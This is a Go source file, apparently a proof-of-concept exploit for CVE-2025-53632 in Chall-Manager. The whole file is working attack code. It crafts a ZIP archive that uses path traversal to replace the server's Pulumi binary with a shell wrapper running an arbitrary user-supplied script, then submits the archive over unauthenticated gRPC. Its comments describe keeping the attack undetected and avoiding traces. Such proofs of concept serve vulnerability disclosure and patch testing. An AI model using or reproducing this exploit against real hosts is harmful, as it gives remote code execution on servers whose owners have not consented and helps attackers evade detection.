package main import ( "archive/tar" "archive/zip" "bytes" "compress/gzip" "context" "encoding/base64" "fmt" "io" "log" "net/http" "os" "path/filepath" "github.com/ctfer-io/chall-manager/api/v1/challenge" "github.com/pkg/errors" "github.com/urfave/cli/v3" "google.golang.org/grpc" "google.golang.org/grpc/credentials/insecure" ) const ( pulumiBinary = "pulumi_3.144.1" scenarioDir = "scenario" // The context directory is /tmp/chall-manager/chall//scenario/ // -> need to move up 6 directories to reach root escapePrefix = "../../../../../.." ) func main() { app := cli.Command{ Name: "CVE-2025-53632", Usage: "Exploit demonstration for CVE-2025-53632 (CVSS v4.0: CVSS-B 8.8 HIGH / CVSS v3.1: 9.1 CRITICAL).", Flags: []cli.Flag{ &cli.StringFlag{ Name: "url", Usage: "The URL to reach out Chall-Manager over gRPC.", Required: true, }, &cli.StringFlag{ Name: "script", Usage: "An optional script to run before the Pulumi command. This contains the commands you want to run onn Chall-Manager host.", }, }, Authors: []any{ "Lucas Tesson - Pandatix ", }, Action: exploit, } ctx := context.Background() if err := app.Run(ctx, os.Args); err != nil { log.Fatal(err) } } func exploit(ctx context.Context, cmd *cli.Command) error { // Prepare the malicious ZIP archive fmt.Println("[+] Creating scenario") zipb64, err := craftScenario(ctx, cmd.String("script")) if err != nil { return err } // Create a malicious challenge on Chall-Manager fmt.Println("[+] Creating malicious challenge") cli, err := grpc.NewClient(cmd.String("url"), grpc.WithTransportCredentials(insecure.NewCredentials())) if err != nil { return err } store := challenge.NewChallengeStoreClient(cli) // don't check errors, it'll be fine (we voluntarly make it crash to avoid letting traces in the API) _, _ = store.CreateChallenge(ctx, &challenge.CreateChallengeRequest{ Id: "malicious", Scenario: zipb64, }) fmt.Println("Script should have run by now !") return nil } func craftScenario(ctx context.Context, script string) (string, error) { // Download or load Pulumi v3.144.1 (https://github.com/ctfer-io/chall-manager/blob/v0.1.3/Dockerfile.chall-manager#L26) p31441, err := loadPulumi3_144_1(ctx) if err != nil { return "", err } buf := bytes.NewBuffer(nil) zw := zip.NewWriter(buf) // Wrap a legit Pulumi scenario if err := filepath.Walk(scenarioDir, func(path string, info os.FileInfo, err error) error { if err != nil { return err } if info.IsDir() { return nil } // Ensure the header reflects the file's path within the zip archive fs, err := filepath.Rel(filepath.Dir(scenarioDir), path) if err != nil { return err } f, err := zw.Create(fs) if err != nil { return err } // Open the file file, err := os.Open(path) if err != nil { return err } defer file.Close() // Copy the file's contents into the archive _, err = io.Copy(f, file) if err != nil { return err } return nil }); err != nil { return "", err } // Copy a well-working Pulumi program to keep being undetected header := &zip.FileHeader{ Name: escapePrefix + "/bin/pulumi", Method: zip.Deflate, } writer, err := zw.CreateHeader(header) if err != nil { return "", err } if _, err := writer.Write(p31441); err != nil { return "", err } // Then create the tampered pulumi program header = &zip.FileHeader{ Name: escapePrefix + "/pulumi/bin/pulumi", // let's replace existing one Method: zip.Deflate, } writer, err = zw.CreateHeader(header) if err != nil { return "", err } if _, err = writer.Write([]byte("#!/bin/sh\n" + script + "\n/bin/pulumi \"$@\"\nexit $?;#\n")); err != nil { return "", err } // Close the zip to flush bytes in the bytes buffer if err := zw.Close(); err != nil { return "", err } // Encode it base 64 return base64.StdEncoding.EncodeToString(buf.Bytes()), nil } // Keeping the same Pulumi version is important so we don't break the API models... // It wouldn't be cool to get catched as soon as we exploit :'( func loadPulumi3_144_1(ctx context.Context) ([]byte, error) { _, err := os.Stat(pulumiBinary) if err != nil { if os.IsNotExist(err) { fmt.Println(" Pulumi v3.144.1 does not seem to exist yet, downloading it...") if err := downloadPulumi3_144_1(ctx); err != nil { return nil, err } } else { return nil, err } } // Load from file system return os.ReadFile(pulumiBinary) } func downloadPulumi3_144_1(ctx context.Context) error { // Download it req, _ := http.NewRequestWithContext(ctx, http.MethodGet, "https://github.com/pulumi/pulumi/releases/download/v3.144.1/pulumi-v3.144.1-linux-x64.tar.gz", nil) res, err := http.DefaultClient.Do(req) if err != nil { return err } defer res.Body.Close() if res.StatusCode != http.StatusOK { return errors.New("GitHub responded with non-200 status code when downloading Pulumi v3.144.1") } // Untar the file to store it on disk for future usage gzr, err := gzip.NewReader(res.Body) if err != nil { return err } defer gzr.Close() tr := tar.NewReader(gzr) for { header, err := tr.Next() if err == io.EOF { break } if err != nil { return err } if header.Name == "pulumi/pulumi" { out, err := os.OpenFile(pulumiBinary, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0755) if err != nil { return err } defer out.Close() if _, err := io.Copy(out, tr); err != nil { return err } break // no need to keep reading } } return nil }